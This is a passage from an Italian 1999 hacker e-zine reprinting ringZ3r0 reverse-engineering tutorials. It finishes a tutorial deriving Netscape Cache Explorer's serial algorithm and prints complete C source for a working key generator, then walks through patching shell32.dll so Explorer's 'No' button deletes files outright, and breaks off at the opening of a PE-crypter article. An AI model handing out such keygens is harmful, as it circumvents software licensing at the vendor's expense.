... dobbiamo creare _DA_ZERO_ UNA delle INFINITE soluzioni, possibilmente la
piu' semplice per noi! :)

//
Nota: in realta' non sono infinite - i numeri in gioco NON sono infiniti - pero' sono
tante, abbastanza da occupare tutti i nostri futuri weekend liberi :)
//

D'ora in poi, leggerete LA MIA soluzione, ma la vostra puo' essere diversa dalla mia...
Se avete qualche idea che pensate sia migliore delle mie, PER FAVORE fatemelo sapere,
anche io sono qui per imparare! Potete vedere il mio indirizzo email alla fine del
testo.
Ok, la PRIMA cosa che dobbiamo fare e' buttare giu' alcune idee:
1) Dobbiamo ridurre il numero di parametri che cambiano.
2) Dobbiamo costruire quel dannato numero 400d.
3) Dobbiamo fare un generatore di chiavi funzionante :)

A questo punto, ho deciso di cominciare dal fondo: il numero 400. Come viene
costruito?
Beh, lo potete vedere voi stessi dalle righe precedenti... e' la somma di
sette prodotti in cui il secondo membro e' il primo membro del prodotto
successivo. Quindi, cerchiamo di dare alcuni valori a quegli rx per creare il
numero giusto. QUESTO e' un casino... ed ecco che entra in gioco lo Zen :)
Ho pensato: "Ehi, questi programmatori sono esseri umani come me,probabilmente
avranno pensato a qualche numero SEMPLICE"
... inoltre, i numeri da r2 a r7
vengono moltiplicati DUE volte, quindi probabilmente i programmatori avranno
trovato piu' semplice utilizzare delle potenze di 2. Quindi:

1) Usa numeri facili/moltiplica 2 volte --> Ripeti lo STESSO numero il piu'
volte possibile
2) Potenze di due --> parti con la potenza di 2 piu' grande che sia pero'
<10, ovvero 8

In questo modo ho scoperto che il numero 400 e' costituito da (8*8)*6 + (8*2).
La riga scritta in precedenza diventa:

08*08 + 08*08 + 08*08 + 08*08 + 08*08 + 08*08 + 08*02 =190h=400d
r1*r2 + r2*r3 + r3*r4 + r4*r5 + r5*r6 + r6*r7 + r7*r8 =190h=400d

E:
r1=p1+0%10=8 -> p1=8
r2=p2+1%10=8 -> p2=7
r3=p3+2%10=8 -> p3=6
r4=p4+3%10=8 -> p4=5
r5=p5+4%10=8 -> p5=4
r6=p6+5%10=8 -> p6=3
r7=p7+6%10=8 -> p7=2
r8=p8+7%10=2 -> p8=5 (5+7=12 ; 12%10=2)

Ora conosciamo i valori che la pw modificata dovrebbe avere. Ma cosa dire
della password ORIGINALE? Da cosa e' costituita? Numeri? Lettere? Ora dobbiamo
semplificare il nostro lavoro il piu' possibile: in un primo momento avevo
pensato di utilizzare semplicemente dei numeri, ma ho notato che, se chiamiamo
"x" il valore di un carattere della pw e "c" il valore di un carattere del
nome "ripiegato su se stesso", si ottiene:

p=(x-(65+c%26)(+26?))%10

e, se x e' un numero (ascii 48-57) e io sottraggo ad essoun valore compreso
fra 65 e 65+26, anche se ad esso aggiungessi sempre 26 il valore risultante
sarebbe talvolta maggiore di 0 e talvolta minore di 0. MALE: se devo lavorare
con dei resti non voglio che fra essi ci siano dei "salti" come quello fra 0
(resto 0) e -1 (=255, resto 255). Per questo motivo ho deciso di utilizzare
per la password le lettere dalla a alla z, in modo da avere SEMPRE dei numeri
positivi e non dover neanche avere a che fare con quel (26?) :)
Quindi, le p vengono costruite grazie alla seguente equazione:

p=(x-(65+c%26))%10

Benissimo, ho risolto un problema ma ora ne ho un altro: come posso fare in
modo che le "p" siano esattamente come quelle di cui ho bisogno? Infatti, se
ho bisogno di un resto, sia la lettera n-esima sia la (n+10)-esima possono
andare bene. Ho deciso di cominciare da una pw costituita da sole "a", quindi
calcolare i suoi valori "p", quindi aggiungere la "differenza" fra i "p" che
ho calcolato e quelli di cui ho bisogno. Proviamo con un nome semplice:
MaLaTTiA :)

1) Ripiega la stringa M a L a T T i A
(qui non e' necessario)
2) Dec 77 97 76 97 84 84 105 65
3) p=(97-(65+c%26))%10 07 03 08 03 06 06 01 09
(97 e' "a")
4) Valori richiesti 08 07 06 05 04 03 02 05
5) Aggiungi ad "a" 01 04 08 02 08 07 01 06
6) PASSWORD: b e i c i h b g

Ehi... FUNZIONA!!! :)

Questo e' tutto. Ora, ecco il sorgente C per questo generatore di chiavi
(abbiate pazienza, il mio C non e' un granche'... ;)

*****************************************************************************
#include

unsigned char s[8]={0,0,0,0,0,0,0,0};
char string [80];
int values[8], required[8]={8,7,6,5,4,3,2,5};
int i,j,ok=0,ok2=0;

void main (){
printf ("\n...//\\Oo/\\\\ Netscape Cache Explorer v1.26 KeyGen - by
.MaLaTTiA. //\\Oo/\\\\...\n\n"
);
printf ("\nUser name: ");
gets (string);
i=j=0;
if (string[0]==0) exit(0);
while ((!ok)||(!ok2)){
if (string[j]==0){
if (!ok2) j=0;
ok=1;
}
s[i]=s[i]+string[j];
j++;i++;
if (i>7){
ok2=1;
i=0;
}
}
for (i=0;i<=7;i++){
values[i]=required[i]-((32-(s[i]%26))%10);
if (values[i]<0) values[i]=values[i]+10;
}
printf ("Key: ");
for (i=0;i<=7;i++){
printf ("%c", 97+values[i]);
}
printf ("\n");
}
*****************************************************************************

Noto ora che non e' neanche ottimizzato... bah, funziona! :)) Credo che questo
sorgente sia abbastanza semplice da comprendere, tuttavia se non comprendete
qualcosa mandatemi una mail e saro' felice di aiutarvi! Ora, potete anche
costruire il generatore di chiavi per MSICE, tenendo presente che il valore
necessario non e' 190h ma e' 192h. Provatelo, l'algoritmo e' lo stesso! :)

byez,

.+MaLaTTiA. (malattia@usa.net)

NOTA DI N0bodY88 = un tnx 1000 al mitico +MaLaTTiA dei RingZ3r0 che potete
trovare (e se non vi e' venuta voglia di andare al loro
sito per questo art e x i prossimi 2...be...meditate il
suicidio...hihihi) al l'url http://ringzer0.cjb.net e
buona lettura :-)
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ UN ESEMPIO DI DLL REVERSING - COME RICONFIGURARE IL COMPORTAMENTO DI ³º
º³ EXPLORER MODIFICANDO ALCUNE FUNZIONI DELLA LIBRERIA SHELL32.DLL ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

By -NeuRaL_NoiSE

______________________________________________________________________________


Salve a tutti!!

Quante volte avete pensato "cacchio se solo potessi evitare di far passare i
files per il cestino di Windows quando li elimino...che rottura dover prima
cancellare, poi svuotare il cestino, magari anche solo per un file....solo
che poi se gli dico di eliminare sempre i files a volte mi trovo in
difficolta'..."
??? Bene, se rientrate nella folta schiera (me compreso,
altrimenti questo tute non avrebbe mai visto la luce :) di coloro i quali si
pongono il problema, beh allora state leggendo il .txt adatto :)

a questo punto permettetemi di spiegarvi sinteticamente un paio di cosette e
DISCLAIMARE le mie responsabilita':

UNO : Se apporterete le modifiche che vi indichero' in questo tutorial, non
ritenetemi responsabile per perdite accidentali dei vostri dati (il vostro
comando ELIMINA da explorer non sara' piu' sicuro come un tempo!! :)

DUE : questo e' un tutorial rivolto al reverse engineering piu' che al
cracking. Se avete scaricato questo file credendo di poter sproteggere un
programma o crackare un gioco, mi dispiace deludervi ma non troverete niente
di simile qui. Vi consiglio di dare un'occhiata ai tutorials su
ringzer0.cjb.net - troverete sicuramente qualcosa di vostro gradimento :)

Detto cio'......LET'S GO!!!

allora....come avrete certamente capito dall'intro, in questo tute faremo in
modo che quando scegliete una determinata opzione, il vostro fido explorer di
Window$ ELIMINERA' fisicamente i files dal disco, senza farli passare dal
cestino. "Bella novita'", starete pensando..."lo posso fare pure selezionando
l'opzione 'Non spostare i files nel cestino, elimina direttamente' nelle
proprieta' del cestino"
....ed invece ecco la novita'....che ne direste di un
bel dialog box con tre opzioni, UNO=SPOSTA NEL CESTINO, DUE=ELIMINA DAL DISCO
e TRE=ANNULLA L'OPERAZIONE ? Esatto....sto parlando di combinare, in qualche
arcano modo, le tre cose senza smanettare con le opzioni del cestino
(IMPORTANTE: PER SEGUIRE QUESTO TUTE, E SUCCESSIVAMENTE, *DOVETE* LASCIARE
L'OPZIONE "SPOSTA NEL CESTINO", NIENTE "ELIMINA DIRETTAMENTE").
Ok, basta chiacchiere....

Contrariamente a quello che qualcuno potrebbe pensare, *NON* e' EXPLORER.EXE
che regola le operazioni come cancellare i files, copiarli ecc., ma queste
funzioni sono svolte da una DLL (Dynamic Link Library, ovvero un insieme di
funzioni che vengono sfruttate da un programma, nel nostro caso EXPLORER.EXE)
chiamata SHELL32.DLL e situata sotto WINDOWS\SYSTEM. Niente di grave,
tratteremo la DLL come un qualsiasi eseguibile, e i tools saranno gli stessi
di sempre:

* W32Dasm v8.93
* SoftICE v3.24
* HIEW v6.01

Bene...ci dovreste essere.
Aprite Shell32.dll con W32dasm....noterete la differenza di image base....non
piu' 40000000h come i classici .exe ma 7FDB0000h. Bene, ora aprite Explorer.exe
(Gestione Risorse) e create una directory temporanea, riempendola di files
inutili copiati da altre dirs. MI RACCOMANDO NON OPERATE CON DIRECTORY GIA'
PRESENTI SUL VOSTRO HARD DISK, PERCHE' LE POSSIBILITA' DI PERDERNE I DATI
CONTENUTI E' MOLTO ALTA!
Allora...prendete un file a caso della vostra dummy dir e scegliete ELIMINA
dal menu FILE (o dal context menu che appare premendo il tasto destro del
mouse). Noterete un simpatico dialog che vi chiede se volete spostare xxxx.xxx
nel cestino.....benissimo, ecco trovato il nostro hook per accedere al codice.
Ad una prima occhiata, e' intuibile che la API su cui breakare e'
DialogBoxParamA. E cosi' fate....scegliete NO, entrate in SoftICE, e scrivete
"BPX DialogBoxParamA".
Riselezionate "elimina" e sice vi poppera' sullo schermo. premete F12 e sarete
di nuovo in pista, stavolta con il dialog sullo schermo. Selezionate SI...Sice
ri-poppera', e sarete alla riga successiva al caller del Dialog Box, che e'
questa:

* Reference To: USER32.DialogBoxParamA, Ord:0084h
|
:7FDE2505 FF15E83DE17F Call dword ptr [7FE13DE8]


Date un'occhiata ad EAX, che come saprete contiene il valore di ritorno di
OGNI funzione API. Notate che e' 6. Ora premete F5, e il vostro file verra'
spostato nel cestino. Adesso riprovate a scegliere ELIMINA. Noterete che,
scegliendo NO, il return value in EAX successivamente al DialogBoxParamA e'
= 7. Ripete l'operazione, ma stavolta lasciate perdere il mouse e premete
ESC. Il return value sara' 2. quindi possiamo tracciare un semplice schema:


VALORE DI RITORNO DALLA CALL DEL DIALOGBOX | TASTO/BUTTON SELEZIONATO | ** SIGNIFICATO **
___________________________________________|__________________________|________________________
| |
00000006 | BUTTON "SI" SUL DIALOG | SPOSTA FILE NEL CESTINO
___________________________________________|__________________________|________________________
| |
00000007 | BUTTON "NO" SUL DIALOG | ANNULLA L'OPERAZIONE
___________________________________________|__________________________|________________________
| |
00000002 | TASTO "ESC" DA TASTIERA | ANNULLA L'OPERAZIONE
___________________________________________|__________________________|________________________



Hmm.....cio' che salta all'occhio qui e' un'inutile ripetizione.....due valori
di ritorno svolgono la stessa funzione...sarebbe molto meglio se potessimo
modificare il significato del button "NO" sul dialog box....magari
redirezionandolo verso l'ELIMINAZIONE FISICA del file selezionato dall'hard
disk...In tal modo, senza grosse modifiche al codice avremmo una situazione
molto piu' interessante: "SI" sposterebbe il file nel cestino, "NO" lo
eliminerebbe fisicamente e "ESC" annullerebbe l'operazione. Vediamo che si
puo' fare :)

Cominciamo a tracciare con F10, finche' non arriviamo qui

* Referenced by a JUMP at Addresses:
|:7FDE24ED(U), :7FDE2519(C), :7FDE2524(U)
|
:7FDE252B 83FE06 cmp esi, 00000006 ; ESI CONTIENE IL
; RETURN VALUE
:7FDE252E 751E jne 7FDE254E ; SE NON SI E'
; SCELTO "SI"
:7FDE2530 8B452C mov eax, dword ptr [ebp+2C]
:7FDE2533 8B00 mov eax, dword ptr [eax] ; BYTE INIZIALE
; DESCRITTORE OBJECT
:7FDE2535 A810 test al, 10 ; CONTROLLA SE L'OBJECT
; E' UNA DIR
:7FDE2537 7515 jne 7FDE254E ; SE SI (10=DIR,
; 20=FILE) SALTA
:7FDE2539 A805 test al, 05 ; SE E' UN FILE....
:7FDE253B 7411 je 7FDE254E ; SALTA COMUNQUE :)
:7FDE253D 85FF test edi, edi
:7FDE253F 7503 jne 7FDE2544
:7FDE2541 8B7D20 mov edi, dword ptr [ebp+20]

Stop! Abbiamo quanto basta a capire che la continuazione naturale della
procedura e' a 7FDE254E...dove troviamo questa parte di codice:

:7FDE254E 8BC6 mov eax, esi

Il return value viene rimesso in eax, molto bene....siamo sulla strada giusta
...il check precedente serviva quindi solo a verificare problemi di memoria o
di invalid handle....se c'erano problemi in eax veniva lasciato un dummy value
e le operazioni successive non sarebbero andate in esecuzione. Come vedrete
shell32.dll e' PIENA di checks di questo tipo...potete pure chiamarlo Good
Old Micro$oft Redundant Code (TM) :)

Continuiamo il tracing con SoftICE fino al ret 028...ci ritroveremo qui:

:7FDE4093 E810E1FFFF call 7FDE21A8 ;<-- TORNIAMO DA
; QUESTA CALL
:7FDE4098 8BF8 mov edi, eax

* Referenced by a JUMP at Address:
|:7FDE4064(C)
|
:7FDE409A 83FF06 cmp edi, 00000006 ; DI NUOVO...CHECK SE
; ABBIAMO PREMUTO SI
:7FDE409D 7540 jne 7FDE40DF ; ALTRIMENTI ELABORA
; DI CONSEGUENZA
:7FDE409F 8B442434 mov eax, dword ptr [esp+34]
:7FDE40A3 8B08 mov ecx, dword ptr [eax] ; BYTE INIZIALE
; DESCR. OBJ. IN ECX
:7FDE40A5 F6C110 test cl, 10 ; ABBIAMO UN FILE QUI??
:7FDE40A8 7435 je 7FDE40DF ; SI! SALTA !
:7FDE40AA 81FD00010000 cmp ebp, 00000100 ; O UNA DIR??
; (100=DIRECTORY)
:7FDE40B0 7408 je 7FDE40BA
:7FDE40B2 81FD00030000 cmp ebp, 00000300 ; (300=FILE)
:7FDE40B8 7525 jne 7FDE40DF

Benissimo.....ulteriori checks (uff! :)...ora il nostro jne a 409D non saltera'
perche' abbiamo scelto "SI", mentre prenderemo quello a 40A8 per ovvi motivi
(abbiamo scelto un file:)...ora una premessa e' d'obbligo. Poiche' quello che
stiamo per fare e' MOLTO pericoloso per i vostri dati, ho deciso di trattare
in questo tutorial SOLO la modifica del codice relativo all'eliminazione di
UN SOLO FILE ALLA VOLTA. In altre parole, il file verra' distrutto SOLO quando
verra' cancellato DA SOLO. Se decidete di cancellare directories intere, o
piu' file alla volta, dovrete servirvi del cestino. Comunque, se siete
intenzionati a modificare anche il codice relativo alla cancellazione di piu'
files o di una dir intera, vi do un piccolo consiglio...il dialog box e'
diverso per quando dovete cancellare piu' files...quindi, un bpx su
DialogBoxParamA vi fara' poppare in un altro punto, e troverete semplice
orientarvi nello stesso modo in cui stiamo agendo qui. (consiglio nel
consiglio ;) : Quando cancellate piu' files potete provare a noppare il mov
eax,2 che viene eseguito SIA quando premete ESC SIA quando premete il button
"NO"...noppando il mov, avrete la dovuta differenziazione (7 o 2) nel return
value, che vi serve a ridirezionare le funzioni anche in tal caso...l'unico
problema e' che poi dovrete appendere del codice se questo non e' gia'
presente nella dialog procedure, quindi magari dovrete ingrandire l'ultima
sezione del pe e...ma hey! questo e' un altro discorso :)

Ritorniamo a noi! :)
I checks ci fanno intuire che la prossima zona di codice per l'elaborazione
dei return values, nel caso in cui si e' scelto un file (insomma proprio cio'
che ci interessa :) e' a 7FDE40DF.
Ecco qui....

:7FDE40DF 83FF02 cmp edi, 00000002
:7FDE40E2 741A je 7FDE40FE
:7FDE40E4 83FF07 cmp edi, 00000007
:7FDE40E7 7415 je 7FDE40FE
:7FDE40E9 837C241C00 cmp dword ptr [esp+1C], 00000000
:7FDE40EE 740E je 7FDE40FE
:7FDE40F0 FF742424 push [esp+24]
:7FDE40F4 56 push esi
:7FDE40F5 FF742434 push [esp+34]
:7FDE40F9 E845EEFFFF call 7FDE2F43

* Referenced by a JUMP at Addresses:
|:7FDE40E2(C), :7FDE40E7(C), :7FDE40EE(C)
|
:7FDE40FE 8BC7 mov eax, edi
:7FDE4100 5D pop ebp
:7FDE4101 5F pop edi
:7FDE4102 5E pop esi
:7FDE4103 5B pop ebx
:7FDE4104 83C418 add esp, 00000018
:7FDE4107 C22400 ret 0024


Altri tre checks....se abbiamo scelto ESC o "NO", il programma esce dalla call
(con il ret 024 a 4107) conservando tale valore nel registro, altrimenti esegue
una zona di codice, allo scopo di rilevare i dati necessari alla cancellazione
del file (con la call a 40F9). Continuiamo a tracciare con SoftICE, e ci
ritroveremo al caller....

:7FDE4952 E8A3F6FFFF call 7FDE3FFA ; <--NOI TORNIAMO DA QUESTA CALL
:7FDE4957 83F802 cmp eax, 00000002 ; HAI PREMUTO "ESC" ?
:7FDE495A 0F847F080000 je 7FDE51DF
:7FDE4960 83F806 cmp eax, 00000006 ; HAI SCELTO "SI" ?
:7FDE4963 743F je 7FDE49A4
:7FDE4965 83F807 cmp eax, 00000007 ; HAI SCELTO "NO" ?
:7FDE4968 0F8486070000 je 7FDE50F4

* Referenced by a JUMP at Addresses:
|:7FDE48D1(U), :7FDE50AF(U)
|
:7FDE496E 8945FC mov dword ptr [ebp-04], eax ; SORRY, MA QUI C'E' QUALCOSA CHE
; NON VA...SE EAX NON CONTIENE
; NESSUNO DEI 3 VALORI DI CUI
; SOPRA, ABBIAMO UN INVALID
; HANDLE! MESSAGGIO DI ERRORE!

Wohho! Ecco il codice che ci interessa....il gioco si fa interessante :D
La fortuna ci assiste....abbiamo tre ramificazioni per tre eventuali opzioni
...adesso tutto sta a ridirezionare il je relativo alla pressione del button
"NO" in una zona di codice diversa, che ELIMINERA' il file dall'hard disk....
non avremo bisogno di perdere tempo con le raw sizes e le virtual sizes delle
sezioni del pe, e questo e' un bel vantaggio!

Per ora continuiamo a tracciare, per renderci un po' conto di come funzionano
le cose...la nostra corsa deviera' a 4963 perche' in questo caso abbiamo
scelto "SI"... e ci ritroveremo qui:

:7FDE49A4 8B4DF4 mov ecx, dword ptr [ebp-0C]
:7FDE49A7 8B01 mov eax, dword ptr [ecx]
:7FDE49A9 0B45F8 or eax, dword ptr [ebp-08]
:7FDE49AC 3D01020000 cmp eax, 00000201
:7FDE49B1 7725 ja 7FDE49D8
:7FDE49B3 0F8402020000 je 7FDE4BBB
:7FDE49B9 3D01010000 cmp eax, 00000101
:7FDE49BE 0F848E000000 je 7FDE4A52
:7FDE49C4 3D02010000 cmp eax, 00000102
:7FDE49C9 0F84FA000000 je 7FDE4AC9
:7FDE49CF 3D03010000 cmp eax, 00000103
:7FDE49D4 7447 je 7FDE4A1D
:7FDE49D6 EB3E jmp 7FDE4A16

Non fatevi spaventare dal numero dei jumps, se tutto va bene prenderete
sempre il JA a 49B1 (non lo prendete se state cancellando un folder, ma gia'
al primo file dello stesso saltera'), che vi portera' qui:

:7FDE49D8 3D02020000 cmp eax, 00000202
:7FDE49DD 743E je 7FDE4A1D
:7FDE49DF 3D03020000 cmp eax, 00000203
:7FDE49E4 0F84D1010000 je 7FDE4BBB
:7FDE49EA 3D01030000 cmp eax, 00000301
:7FDE49EF 0F84F0030000 je 7FDE4DE5
:7FDE49F5 3D02030000 cmp eax, 00000302
:7FDE49FA 0F843C020000 je 7FDE4C3C
:7FDE4A00 3D03030000 cmp eax, 00000303
:7FDE4A05 0F8444030000 je 7FDE4D4F ; JUMP CHE VERRA' PRESO
; SE TUTTO VA BENE
:7FDE4A0B 3D04030000 cmp eax, 00000304
:7FDE4A10 0F8499030000 je 7FDE4DAF

Hmmm....sembrano a colpo d'occhio ulteriori checks sulle caratteristiche dei
files...lasciamoli stare....il jump che prendera' sempre e' quello a 4A05.
Ecco dove conduce:

:7FDE4D4F 8B4730 mov eax, dword ptr [edi+30]
:7FDE4D52 85C0 test eax, eax
:7FDE4D54 741C je 7FDE4D72
:7FDE4D56 53 push ebx
:7FDE4D57 8D4DFC lea ecx, dword ptr [ebp-04]
:7FDE4D5A 6A00 push 00000000
:7FDE4D5C 8D95E4FDFFFF lea edx, dword ptr [ebp+FFFFFDE4]
:7FDE4D62 50 push eax
:7FDE4D63 51 push ecx
:7FDE4D64 52 push edx
:7FDE4D65 E815690000 call 7FDEB67F ; CALL DI CONTROLLO OPZIONE "CESTINO ON"
:7FDE4D6A 85C0 test eax, eax ; EAX E' *ZERO* SE CESTINO E' OFF
:7FDE4D6C 0F85ABFCFFFF jne 7FDE4A1D ; HAI IL CESTINO "ON", SALTA E SPOSTA
; I FILES
* Referenced by a JUMP at Address:
|:7FDE4D54(C)
|
:7FDE4D72 8D85E4FDFFFF lea eax, dword ptr [ebp+FFFFFDE4] ; ALTRIMENTI PROCEDI CON
:7FDE4D78 50 push eax ; L'ELIMINAZIONE FISICA DEL
* Reference To: SHELL32.Ordinal:00A4 ; FILE DALL'HD !!
|
:7FDE4D79 E8C7C3FFFF call 7FDE1145
:7FDE4D7E 85C0 test eax, eax
:7FDE4D80 7409 je 7FDE4D8B
:7FDE4D82 C745FC00000000 mov [ebp-04], 00000000
:7FDE4D89 EB09 jmp 7FDE4D94


Eh....sembra che ci siamo :)
Tutto viene giostrato da quella call di controllo opzione a 4D65...se il
risultato di quella call e' ZERO, i files verranno cancellati fisicamente,
altrimenti verranno spostati nel cestino. Io personalmente ci sono arrivato
tracciando passo per passo la call, e segnandomi le differenze nell'esecuzione
che si verificano con le due opzioni di cestino "on" e "off".
Se vi puo' interessare, la zona di codice in cui viene decisa la sorte di eax
in quella call e' quella dei tre jumps agli indirizzi B660, B666 e B66C. Lo
xor azzerera' eax e ci restituira' il valore zero, evitando per altro di
eseguire una buona parte del codice della call (che serve a preparare lo
spostamento del file nel cestino).
Ora quindi sappiamo che, per ELIMINARE fisicamente i files, il nostro
programma deve eseguire il codice che parte a 4D72...hey ma cosa vedo?? un
jump che porta li'?? hmm, mettiamo un bpx su questo jump (7FDE4D54)...strano,
non salta mai....nemmeno quando abbiamo il cestino ad "OFF"...ah! dimenticavo
....il solito Redundand Code (TM) della Micro$oft :)))
Ora pero' devo dire che questo jump inutile (vabbeh, saltera' una volta ogni
dieci millenni:) mi ha fatto pensare una cosa....se c'e' un jump che evita
tutta la zona di codice precedente, non dobbiamo preoccuparci di inserire una
flag e farla controllare dopo la call di controllo... si puo' accedere a quel
codice anche EVITANDO tutto il check..lo dimostra il fatto che i programmatori
hanno inserito nel codice un jump che fa proprio questo....evitare il codice...
e' solo una questione di intuizione e logica (chiamiamolo ZEN che mi fa
sembrare piu' cool ;)
la soluzione a questo punto e' semplicissima......modificheremo il jump
relativo al tasto "NO" in modo che esegua DIRETTAMENTE il codice a 7FDE4D72,
invece che eseguire le sue inutili funzioni ! Pertanto il primo passo da
seguire e' fare un BACKUP del file shell32.dll, chiamandolo ad es. shell32.bak.
Poi copiamolo anche su un file temporaneo che andremo a patchare fisicamente
(non possiamo patchare shell32.dll perche' non viene scaricato dalla memoria,
nemmeno quando chiudiamo explorer.exe). Adesso abbiamo 3 files, shell32.dll,
shell32.bak e, diciamo, shell32.new.

La logica ci direbbe di segnarci i due offsets (del je relativo a "NO" e del
punto in cui vogliamo che salti), aprire HIEW e patchare come in ogni altro
caso...e invece NO! Se tentate questo approcio, al riavvio di Windows con la
nuova shell32.dll, premendo "NO" avrete l'amara delusione di un misero GPF...
perche'?? La spiegazione e' molto semplice, il motivo purtroppo no....ho
pensato ad una differenza di image base, ma gradirei se qualcuno mi spiegasse
con certezza il perche' di questo problema. Quando patchiamo con HIEW, e' vero
che l'offset a cui diciamo di saltare cambia in 34172h, ma purtroppo,
all'esecuzione del jump nella "vita reale:)", la dll saltera' alla RIGA DI
CODICE 34172h, NON all'offset 34172h (che e' relativo alla riga di codice
7FDE4D72)....hmmm problemuccio fastidioso eh?? Su, basta un po' di logica....
non dimenticatevi MAI della potenza di SoftICE...entrateci e scrivete CODE ON
(se non l'avete gia' nella init string)...questa opzione vi permettera' di
visualizzare i bytes relativi alle varie istruzioni del codice...adesso
mettete un bel bpx su 7FDE4968 (il je relativo alla pressione del button "NO")
...per entrare nel codice della dll basta il solito bpx DialogBoxParamA. ora
premete "NO" alla richiesta di spostamento del file nel cestino, e vi
troverete fermi sulla riga del je su cui abbiamo piazzato il bpx. Se
continuate con l'esecuzione causerete un GPF, ma se invece premete A
(Assemble instruction), Sice vi dara' un simpatico prompt in cui potrete
inserire il codice che volete, relativo alla riga in cui vi trovate. Non
dovete far altro che inserirvi "JE 7FDE4D72", e noterete un cambiamento dei
bytes a fianco all'istruzione. Prendete un pezzo di carta, e segnatevi per
filo e per segno quei bytes. Dovrebbero essere questi: 0F8404040000.
Detto cio', uscite da tutto e aprite HIEW con il vostro file temporaneo
shell32.new...andate all'offset 33D68h, premete F3 e inserite l'ESATTA
sequenza di bytes che vi ha dato SoftICE. Salvate il file, riavviate in
modalita' MsDos, andate sotto windows\system e copiate SHELL32.NEW in
SHELL32.DLL (che adesso e' sovrascrivibile, perche' non c'e' Windows in
esecuzione). Mi raccomando la copia di Backup del file. adesso riavviate
Windows.....aprite explorer e provate "elimina" su di un file che non vi
interessa...se premete ESC, il file resta li'.....se premete "SI" viene
spostato nel cestino...e se premete "NO" il file scompare dall'hard disk!!
E' FATTA! :D

__________

Con questo tutorial ho voluto dimostrare come puo' essere semplice fare un po'
di sano reversing, e spero che qualcuno abbia imparato qualcosa da questo txt.
Se avete problemi a seguire il tutorial o volete chiedermi o comunicarmi
qualcosa, il mio indirizzo e' neural_noise@hotmail.com

Detto cio', saluto tutti gli amici da #cracking4newbies, #crack-it e RingZ3r0
...e colgo l'occasione per dare il benvenuto ad ALoR nel gruppo!!! :)

till next time......

-NeuRaL_NoiSE 1999

NOTA BY N0bodY88 = ancora grazie a RingZ3r0 e all'autore NeuRaL_NoiSE x averci
permesso di pubblicare all'interno di NewBies questo simp
mitico tutorial. PS: complimenti a NN che oltre a essere
bravo e' sempre disponibile e strasimpatico {|:->)

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
NOTA DI N0bodY88 = mi scuso con i mitici membri di ringZ3r0 se ho dovuto
modificare le impostazioni dei loro articoli ma dato che
nei num. precedenti ci hanno scritto che le stampe venivano
male allora in questo numero abbiamo deciso di fare il
tutto al max largo quanto una pagina (a parte qualke tabella
e qualke eccezione, cmq ricordo che NewBies e' fatta x
essere letta e stampata con l'edit di dos [ il buon vecchio
editor :-D ]). Se volete vedere gli art/tut. originali cmq
basta che andate sul sito ringZ3r0 :-)....al solito...io vi
consiglio di scaricarvelo tutto con teleport xche' se
cominciate a leggere online....okkio alla bolletta!!!!!!!!!
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

áááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááá
ê ê
ý [x] ringZ3r0 Proudly Presents [x] ý
ý ý
ñ ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ ñ
ñ ñ
ü PE-Crypters : uno sguardo da vicino al c.d. "formato" PE ü

Kill3xx

02 Marzo,1999


--==[ PREMESSA ]==----------------------------------------------------------

LE INFORMAZIONI CHE TROVATE ALL'INTERNO DI QUESTO FILE SONO PER PURO SCOPO
DIDATTICO. L'AUTORE NON INCORAGGIA CHI VOLESSE UTILIZZARLE PER SCOPI ILLEGALI.

--==[ DIFFICOLTA' ]==---------------------------------------------------------

scala : *=Novizio, **=Apprendista, ***=Esperto, ****=Guru
target: ***

--==[ TOOLS USATI ]==---------------------------------------------------------

* TASM
* PROCDUMP 1.3
* PE Browse
* HIEW 6.01

--==[ LETTERATURA ]==---------------------------------------------------------

"Peering Inside the PE: A Tour of the Win32 Portable Executable File Format"
(M. Pietrek), Microsoft Systems Journal 3/1994

"Windows 95 Programming Secrets" (M. Pietrek), IDG BOOKS, 1995

"Why to Use _declspec(dllimport) & _declspec(dllexport) In Code",
MS KB Q132044

"Writing Multiple-Language Resources", MS Knowledge Base Q89866

"The Portable Executable File Format from Top to Bottom" (Randy Kath), MSDN

"The PE file format" (B. Luevelsmeyer), reperibile sulla rete

--==[ INTRODUZIONE ]==--------------------------------------------------------

Salve gente :)
